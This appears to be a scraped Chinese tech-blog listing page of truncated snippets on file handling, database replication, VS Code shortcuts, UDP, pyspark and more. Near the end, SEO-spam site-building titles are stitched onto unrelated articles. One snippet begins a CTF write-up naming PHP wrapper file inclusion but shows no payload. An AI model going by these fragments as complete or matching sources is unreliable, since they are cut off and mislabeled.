目录 一、读取文件的字符串行 二、避免读取写入同一文件 三、使用内存映射随机访问文件 四、过去 24 小时内修改过的文件名 五、查找给定路径的循环 六、递归查找重名文件 七、使用给定断言递归查找所有文件 八、跳过隐藏文件遍历目录 九、在给定深度的目录&#xff0…...

mysql双主双从读写分离

架构图&#xff1a; 详细内容参考&#xff1a; 结果展示&#xff1a; 178.119.30.16&#xff08;从&#xff09;- master 178.119.30.17&#xff08;从&#xff09;- slave 由上述结果可以看出&#xff0c;产生了主备节点同时抢占VIP的问题&#xff08;即脑裂问题&#xff09…...

postgresql-物化视图

postgresql-物化视图 物化视图创建物化视图刷新物化视图修改物化视图删除物化视图 物化视图 创建物化视图 postgresql使用create materialized view 语句创建视图 create materialized view if not exists name as query [with [NO] data];-- 创建一个包含员工统计信息的物化…...

多层神经网络和激活函数

多层神经网络的结构 多层神经网络就是由单层神经网络进行叠加之后得到的&#xff0c;所以就形成了层的概念&#xff0c;常见的多层神经网络有如下结构&#xff1a; 1&#xff09;输入层&#xff08;Input layer&#xff09;&#xff0c;众多神经元&#xff08;Neuron&#xff…...

Visual Studio Code键盘快捷键大全

Visual Studio Code键盘快捷键大全 前言导航快捷键编辑快捷键多光标快捷键终端快捷键调试快捷键文件管理快捷键Git快捷键代码格式化快捷键代码折叠快捷键工作区快捷键Markdown快捷键Zen模式快捷键窗口管理快捷键重构快捷键IntelliSense快捷键测试快捷键扩展快捷键 前言 欢迎来…...

新手学习笔记-----⽂件操作

目录 1. 为什么使⽤⽂件&#xff1f; 2. 什么是⽂件&#xff1f; 2.1 程序⽂件 2.2 数据⽂件 2.3 ⽂件名 3. ⼆进制⽂件和⽂本⽂件&#xff1f; 4. ⽂件的打开和关闭 4.1 流和标准流 4.1.1 流 4.1.2 标准流 4.2 ⽂件指针 4.3 ⽂件的打开和关闭 5. ⽂件的顺序读写 …...

LeetCode 251:展开二维向量

题目 Implement an iterator to flatten a 2d vector. Example: [1,2,3,4,5,6] [1,2,3,4,5,6] Follow up: As an added challenge, try to code it using only iterators in C++ or iterators in Java. 题解: 用两个index 分别记录list 的 index 和当前 list的element index. …...

练[BSidesCF 2020]Had a bad day

[BSidesCF 2020]Had a bad day 文章目录 [BSidesCF 2020]Had a bad day掌握知识解题过程关键paylaod 掌握知识 ​ php伪协议进行文件包含&#xff0c;代码审计&#xff0c;strpos()函数会返回字符串在另一字符串中第一次出现的位置&#xff0c;如果没有找到则返回 FALSE&#…...

第十五章 类和对象——友元

生活中你的家有客厅(Public)&#xff0c;有你的卧室(Private) 客厅所有来的客人都可以进去&#xff0c;但是你的卧室是私有的&#xff0c;也就是说只有你能进去 但是呢&#xff0c;你也可以允许你的好闺蜜好基友进去。 在程序里&#xff0c;有些私有属性 也想让类外特殊的一些…...

【数仓精品理论分析】能不能学大数据?

【数仓精品理论分析】能不能学大数据&#xff1f; 还能不能学大数据datapulse官网&#xff1a; 自身情况数据行业发展情况 还能不能学大数据 首先看到这个话题的时候&#xff0c;我是这样想的&#xff0c;能不能学大数据需要参考本人的自身情况【学历、年龄、决心、有没有矿或者…...

java复习-多态性

多态性 在Java中对于多态性由两种实现的模式&#xff1a; 方法的多态性 方法的重载&#xff1a;同一个方法名称可以根据传入的参数类型和个数的不同&#xff0c;进行不同的处理。 方法的覆写&#xff1a;同一个方法可能根据使用子类的不同&#xff0c;由不同的实现。 对象的…...

美团外卖优惠券小程序 美团优惠券微信小程序 自带流量主模式 带教程

小程序带举牌小人带菜谱流量主模式&#xff0c;挺多外卖小程序的&#xff0c;但是都没有搭建教程 搭建&#xff1a; 1、下载源码&#xff0c;去微信公众平台注册自己的账号 2、解压到桌面 3、打开微信开发者工具添加小程序-把解压的源码添加进去-appid改成自己小程序的 4、…...

编写IDEA插件,实现根据现有代码生成流程图

实现根据现有代码生成流程图的功能需要考虑以下几个步骤&#xff1a; 分析代码结构&#xff0c;获取代码中的变量声明、分支语句、循环语句等语句结构。 根据代码结构生成流程图的节点和边。 将生成的流程图展示在IDEA界面中。 下面逐一说明以上步骤的实现方法&#xff1a;…...

王杰国庆作业day6

服务器 #include <stdio.h> #include <string.h> #include <stdlib.h> #include <my_head.h> #define PORT 2324 //端口号 #define IP "192.168.10.107" //本机IP int main(int argc, const char *argv[]) {sqlite3* d…...

【C语言】循环结构程序设计 (详细讲解)

前言&#xff1a;前面介绍了程序中常常用到的顺序结构和选择结构&#xff0c;但是只有这两种结构是不够的&#xff0c;还有用到循环结构(或者称为重复结构)。因为在日常生活中或是在程序所处理的问题中常常遇到需要重复处理的问题。 【卫卫卫的代码仓库】 【选择结构】 【专栏链…...

Spring的注解开发-注解原理解析-xml方式/注解方式组件扫描

目录 Spring注解的解析原理 xml配置组件扫描 注解方式配置组件扫描 原理图 yysy&#xff0c;没有搞太明白&#xff0c;真的复杂&#xff0c;欢迎大佬留言解惑 Spring注解的解析原理 使用Component等注解配置完毕后&#xff0c;要配置组件扫描才能使注解生效 xml配置组件扫…...

导出视频里的字幕

导出视频里的字幕 如何利用剪映快速提取并导出视频里的字幕 https://jingyan.baidu.com/article/c35dbcb0881b6fc817fcbcd2.html 如何快速提取视频中的字幕&#xff1f;给大家介绍一种简单高效又免费的提取方法。需要利用到“剪映”&#xff0c;以下是具体的操作步骤和指引&a…...

【KingbaseES】银河麒麟V10 ARM64架构_安装人大金仓数据库KingbaseES_V8R6(CentOS8)

&#x1f341; 博主 "开着拖拉机回家"带您 Go to New World.✨&#x1f341; &#x1f984; 个人主页——&#x1f390;开着拖拉机回家_Linux,Java基础学习,大数据运维-CSDN博客 &#x1f390;✨&#x1f341; &#x1fa81;&#x1f341; 希望本文能够给您带来一定的…...

【Vue】Vuex详解,一文读懂并使用Vuex

&#x1f389;&#x1f389;欢迎来到我的CSDN主页&#xff01;&#x1f389;&#x1f389; &#x1f3c5;我是Java方文山&#xff0c;一个在CSDN分享笔记的博主。&#x1f4da;&#x1f4da; &#x1f31f;推荐给大家我的专栏《ELement》。&#x1f3af;&#x1f3af; &#x1…...

第三章 C程序设计

常量与变量 常量&#xff1a;整型常量&#xff1a;如1000 实型常量&#xff1a;十进制小数 字符常量&#xff1a;&#xff1f;&#xff01; 变量&#xff1a;变量必须先定义&#xff0c;后使用。 标识符&#xff1a;一个对象的名字。 浮点型数据 浮点型数据是用来表示具…...

QB/T 2703-2020 汽车装饰用皮革检测

汽车装饰用皮革主要用于坐垫皮革&#xff0c;座椅套皮革&#xff0c;靠垫套皮革&#xff0c;方向盘皮革和其他装饰用皮革&#xff0c;比如仪表盘等&#xff0c;其物理和环保性能非常重要&#xff0c;对人体的健康能起到很大的影响。 QB/T 5754-2022水性/无溶剂聚氨酯复合人造革…...

使用正则表达式批量修改函数

贪心匹配&#xff0c;替换中的$1代表括号中的第一组。 使用[\s\S\r]代表所有字符&#xff0c;同时加个问号代表不贪心匹配:...

【网络协议】UDP

UDP协议与TCP协议都是传输层协议&#xff0c;应用层把数据拷贝到传输层&#xff0c;后续动作由下层自行决定。 UDP协议端格式 16位 UDP 长度 , 表示整个数据报 (UDP 首部 UDP 数据 ) 的最大长度 ;&#xff08;也就是65535字节&#xff09; 如果校验和出错 , 就会直接丢弃 ; …...

雷达编程实战之提高探测速度

有效帧频率作为雷达一个非常核心的指标&#xff0c;它代表了雷达探测识别的速度&#xff0c;速度越快&#xff0c;后级各项智能驾驶功能就能得到更快、更有效的判断。本篇文章首先从硬件的角度&#xff0c;提供了一种合理利用片上资源提高探测识别速度的常用方法&#xff0c;然…...

pyspark常用功能记录

前言 pyspark中很多常用的功能&#xff0c;过段时间没有使用就容易忘记&#xff0c;需要去网上搜索&#xff0c;这里总结一下&#xff0c;省的以后还去去搜&#xff0c;供自己以后参考。 withColumn def hot_func(info_str):if info_str:eturn "1"return "0&…...

Spring面试题学习: 单例Bean是单例模式吗?

单例Bean是单例模式吗 学习背景答案扩展知识单例模式Spring BeanJava Bean单例Bean 个人评价我的回答 学习背景 想换工作. 学习记录, 算是一个输出. 答案 通常来说, 单例模式是指在一个JVM中, 一个类只能构造出一个对象. 有很多方法来实现单例模式, 比如饿汉模式. 但是我们通…...

EM@常用三角函数图象性质(中学部分)

文章目录 abstract正弦函数正弦型函数转动相关概念旋转角速度转动周期转动频率初相小结 余弦函数的图象与性质性质 正切函数的图象和性质由已知三角函数值求角任意角范围内反三角函数(限定范围内)反正弦反余弦反正切 abstract 讨论 sin ⁡ , cos ⁡ , tan ⁡ \sin,\cos,\tan s…...

一文拿捏Spring事务之、ACID、隔离级别、失效场景

1.&#x1f31f;Spring事务 1.编程式事务 事务管理代码嵌入嵌入到业务代码中&#xff0c;来控制事务的提交和回滚&#xff0c;例如TransactionManager 2.声明式事务 使用aop对方法前后进行拦截&#xff0c;然后在目标方法开始之前创建或者加入一个事务&#xff0c;执行完目…...

房山富阳网站建设/汕头seo外包公司

English Learning - L2 语音作业打卡 双元音 [ɔɪ] [ɪə] Day16 2023.3.8 周三&#x1f48c;发音小贴士&#xff1a;&#x1f48c;当日目标音发音规则/技巧:&#x1f36d; Part 1【热身练习】&#x1f36d; Part2【练习内容】&#x1f36d;【练习感受】&#x1f353;元音 [ɔ…...

电商网站建设日程表/近期时事新闻10条

问&#xff1a;请问购买了一台华为AX3Pro路由器怎么从原来旧路由器获取宽带账号密码呢&#xff1f;家里的宽带账号密码找不到了&#xff0c;华为AX3Pro答&#xff1a;华为或荣耀的路由器均支持新旧路由器换机的功能&#xff0c;也就是从旧路由器通过克隆宽带账号密码的功能实现…...

怎么做网站维护/百度推广多少钱一天

转自&#xff1a;http://www.cnblogs.com/shangdawei/p/4760933.html 彩色阴极射线管的剖面图: 1. 电子QIANG Three Electron guns (for red, green, and blue phosphor dots)2. 电子束 Electron beams3. 聚焦线圈 Focusing coils4. 偏向线圈 Deflection coils5. 阳极接点 Anod…...

wordpress表格样式插件/今日油价最新

清华申请退学博士作品&#xff1a;完全用 Linux 工作LonelyJames按: 尽管我们已经不习惯看长篇大论, 但我还是要说, 这是一篇值得你从头读到尾的长篇文章.2005 年 9 月 22 日&#xff0c;清华在读博士生王垠在水木社区 BLOG 上发表了《清华梦的粉碎--写给清华大学的退学申请》明…...

长春给企业做网站的公司/青岛网站优化公司哪家好

如图片所示&#xff0c;包括在导入项目的时候就出现提示&#xff0c;说是conitnue还是retry 解决方法&#xff1a;在导入时按提示找到manifest找到相应的burst&#xff0c;修改为其它版本 下面为具体manifest文件...

做网站的公司创业/北京seo公司工作

在读文件时&#xff0c;有的时候我们想一条数据一条数据地读&#xff0c;比如文件中每一行数据是一条数据&#xff0c;我们就要按行读取&#xff1a; ​public static void main(String[] args){File readFile new File("C:\\wyh\\it\\java");File writeFile new …...